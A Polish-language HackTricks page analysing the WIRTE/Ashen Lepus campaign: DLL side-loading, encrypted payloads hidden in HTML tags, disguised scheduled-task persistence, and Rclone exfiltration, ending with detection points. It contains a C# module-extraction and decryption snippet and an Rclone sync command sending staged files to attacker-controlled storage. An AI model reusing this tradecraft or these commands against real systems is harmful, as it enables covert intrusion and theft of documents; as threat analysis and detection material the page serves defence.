Advanced DLL Side-Loading With HTML-Embedded Payload Staging
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Tradecraft Overview
Ashen Lepus (aka WIRTE) wykorzystał powtarzalny schemat łączący DLL sideloading, staged HTML payloads oraz modular .NET backdoors, aby utrzymać się w sieciach dyplomatycznych Bliskiego Wschodu. Technika jest wielokrotnego użytku przez dowolnego operatora, ponieważ opiera się na:
- Archive-based social engineering: nieszkodliwe pliki PDF instruują cele, aby pobrały archiwum RAR z serwisu do udostępniania plików. Archiwum zawiera wyglądający na prawdziwy EXE przeglądarki dokumentów, złośliwy DLL nazwany jak zaufana biblioteka (np.
netutils.dll,srvcli.dll,dwampi.dll,wtsapi32.dll) oraz przynętęDocument.pdf. - DLL search order abuse: ofiara dwukrotnie klika EXE, Windows rozwiązuje import DLL z bieżącego katalogu, a złośliwy loader (AshenLoader) uruchamia się w zaufanym procesie, podczas gdy przynętowy PDF otwiera się, by nie wzbudzać podejrzeń.
- Living-off-the-land staging: każda kolejna faza (AshenStager → AshenOrchestrator → moduły) jest przechowywana poza dyskiem do momentu potrzeby, dostarczana jako zaszyfrowane bloby ukryte w pozornie nieszkodliwych odpowiedziach HTML.
Multi-Stage Side-Loading Chain
- Decoy EXE → AshenLoader: EXE side-loaduje AshenLoader, który wykonuje rozpoznanie hosta, szyfruje go AES-CTR i wysyła w POST jako część rotujących parametrów takich jak
token=,id=,q=lubauth=do ścieżek wyglądających jak API (np./api/v2/account). - HTML extraction: C2 ujawnia następny etap dopiero, gdy IP klienta geolokuje się do docelowego regionu i
User-Agentpasuje do implantu, co utrudnia sandboxes. Gdy kontrole przejdą, ciało HTTP zawiera blob<headerp>...</headerp>z Base64/AES-CTR zaszyfrowanym ładunkiem AshenStager. - Second sideload: AshenStager jest wdrażany razem z innym legalnym binarium, które importuje
wtsapi32.dll. Złośliwa kopia wstrzyknięta do binarium pobiera więcej HTML, tym razem wycinając<article>...</article>, aby odzyskać AshenOrchestrator. - AshenOrchestrator: modularny kontroler .NET, który dekoduje Base64 JSON config. Pola
tgiauw konfiguracji są łączone/haszowane w celu utworzenia klucza AES, którym odszyfrowuje sięxrk. Wynikowe bajty pełnią rolę klucza XOR dla każdego pobieranego modułu. - Module delivery: każdy moduł opisany jest poprzez komentarze HTML, które przekierowują parser do dowolnego taga, łamiąc statyczne reguły szukające tylko
<headerp>lub<article>. Moduły obejmują persistence (PR*), uninstallery (UN*), reconnaissance (SN), screen capture (SCT) oraz eksplorację plików (FE).
HTML Container Parsing Pattern
var tag = Regex.Match(html, "<!--\s*TAG:\s*<(.*?)>\s*-->").Groups[1].Value;
var base64 = Regex.Match(html, $"<{tag}>(.*?)</{tag}>", RegexOptions.Singleline).Groups[1].Value;
var aesBytes = AesCtrDecrypt(Convert.FromBase64String(base64), key, nonce);
var module = XorBytes(aesBytes, xorKey);
LoadModule(JsonDocument.Parse(Encoding.UTF8.GetString(module)));
Nawet jeśli obrońcy zablokują lub usuną konkretny element, operator musi tylko zmienić tag wskazany w komentarzu HTML, aby wznowić dostarczanie.
Utwardzanie Crypto i C2
- AES-CTR everywhere: obecne ładowarki osadzają 256-bitowe klucze plus nonces (np.
{9a 20 51 98 ...}) i opcjonalnie dodają warstwę XOR wykorzystując ciągi takie jakmsasn1.dllprzed/po deszyfrowaniu. - Recon smuggling: enumerowane dane teraz zawierają listingi Program Files, aby wykryć aplikacje wysokiej wartości i są zawsze szyfrowane przed opuszczeniem hosta.
- URI churn: parametry zapytań i ścieżki REST obracają się między kampaniami (
/api/v1/account?token=→/api/v2/account?auth=), unieważniając kruche detekcje. - Gated delivery: serwery są geo-ogrodzone i odpowiadają tylko prawdziwym implantom. Niezatwierdzeni klienci otrzymują niebudzący podejrzeń HTML.
Utrwalenie i pętla wykonywania
AshenStager tworzy zadania zaplanowane, które podszywają się pod zadania konserwacyjne Windows i wykonują się przez svchost.exe, np.:
C:\Windows\System32\Tasks\Windows\WindowsDefenderUpdate\Windows Defender UpdaterC:\Windows\System32\Tasks\Windows\WindowsServicesUpdate\Windows Services UpdaterC:\Windows\System32\Tasks\Automatic Windows Update
Te zadania ponownie uruchamiają łańcuch sideloading przy starcie lub w odstępach, zapewniając, że AshenOrchestrator może żądać świeżych modułów bez ponownego zapisu na dysku.
Użycie nieszkodliwych klientów synchronizacji do eksfiltracji
Operatorzy umieszczają dokumenty dyplomatyczne w C:\Users\Public (dostępne dla wszystkich i niebudzące podejrzeń) przez dedykowany moduł, a następnie pobierają legalny binarny Rclone aby zsynchronizować ten katalog z magazynem kontrolowanym przez atakującego:
- Stage: skopiuj/zbierz pliki docelowe do
C:\Users\Public\{campaign}\. - Configure: wyślij plik konfiguracyjny Rclone wskazujący na endpoint HTTPS kontrolowany przez atakującego (np.
api.technology-system[.]com). - Sync: uruchom
rclone sync "C:\Users\Public\campaign" remote:ingest --transfers 4 --bwlimit 4M --quietaby ruch przypominał normalne kopie zapasowe w chmurze.
Ponieważ Rclone jest szeroko używany w legalnych procesach backupu, obrońcy muszą skupić się na anomaliach w wykonywaniu (nowe binarki, dziwne remote’y lub nagłe synchronizacje C:\Users\Public).
Punkty detekcji
- Uruchamiaj alerty dla podpisanych procesów, które nieoczekiwanie ładują DLL-e z ścieżek zapisywalnych przez użytkownika (filtry Procmon +
Get-ProcessMitigation -Module), szczególnie gdy nazwy DLL pokrywają się znetutils,srvcli,dwampi, lubwtsapi32. - Analizuj podejrzane odpowiedzi HTTPS pod kątem dużych blobów Base64 osadzonych w nietypowych tagach lub chronionych komentarzami
<!-- TAG: <xyz> -->. - Szukaj zadania zaplanowane które uruchamiają
svchost.exez argumentami niebędącymi usługami lub wskazują z powrotem na katalogi droppera. - Monitoruj pojawianie się binarek Rclone poza lokalizacjami zarządzanymi przez IT, nowe pliki
rclone.conflub zadania synchronizacji pobierające ze stagingowych katalogów takich jakC:\Users\Public.
References
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

